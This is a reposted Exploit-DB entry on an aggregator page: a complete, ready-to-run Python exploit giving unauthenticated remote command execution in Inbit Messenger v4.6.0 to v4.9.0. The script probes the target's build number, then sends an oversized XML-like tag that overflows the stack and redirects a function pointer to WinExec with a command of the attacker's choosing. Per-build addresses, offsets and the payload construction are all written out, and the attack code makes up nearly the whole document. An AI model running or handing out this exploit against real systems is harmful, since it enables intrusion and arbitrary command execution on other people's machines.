9
[remote] Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
source link: https://www.exploit-db.com/exploits/51127
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
# Date: 11/08/2022
# Exploit Author: a-rey
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys, socket, struct, string, argparse, logging
BANNER = """\033[0m\033[1;35m
╔══════════════════════════════════════════════════════════════════════════╗
║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
╚══════════════════════════════════════════════════════════════════════════╝\033[0m
by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗
\033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║
\033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝
\033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝
\033[1;36m██║ ██║ ██║ ██║███████╗ ██║
\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝
\033[0m"""
# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
TARGETS = {
4601 : 0x005f3360,
4801 : 0x005f7364,
4901 : 0x005f7364,
}
# NOTE: min and max values for length of command
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64
# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
BAD_BYTES = b"\x3e" # >
def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
# NOTE: send packet with client build number of 4601 for v4.6.0
pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
_d = s.recv(1024)
# find build tag in response
if b'<c>' not in _d:
logging.error(f"invalid version packet received: {_d}")
sys.exit(-1)
s.close()
try:
build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
except:
logging.error(f"failed to parse build number from packet: {_d}")
sys.exit(-1)
# get the IAT offset
if build not in TARGETS.keys():
logging.error(f"unexpected build number: {build}")
sys.exit(-1)
# NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
winexec = struct.pack("<I", TARGETS[build] - 0x38)
logging.success(f"target build number is {build}")
logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
# sanity check for bad bytes in WinExec address
for c in winexec:
if c in BAD_BYTES:
logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
sys.exit(-1)
return winexec
def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
# NOTE: command must be NULL terminated
command += b"\x00"
# check user command length
if len(command) < CMD_MIN_LEN:
logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
sys.exit(-1)
if len(command) >= CMD_MAX_LEN:
logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
sys.exit(-1)
# get WinExec address
winexec = getWinExecAddress(targetIp, targetPort)
# get a string representation of the length of the command data after the <> tag parsed by atol()
pktLen = str(len(command))
pkt = b"<" # start of XML tag/stack overflow
pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
pkt += b"\x00" # NULL terminator to force atol to ignore what comes next
# NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
pkt += winexec # indirect function pointer we control
pkt += b">" # end of XML tag/stack overflow
pkt += command # the command set to the call to WinExec()
logging.info(f"sending payload to {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
s.close()
logging.success("DONE")
if __name__ == '__main__':
# parse arguments
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-t', '--target', help='target IP', type=str, required=True)
parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)
args = parser.parse_args()
# define logger
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
# print banner
print(BANNER)
# run exploit
exploit(args.target, args.port, args.command.encode())
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK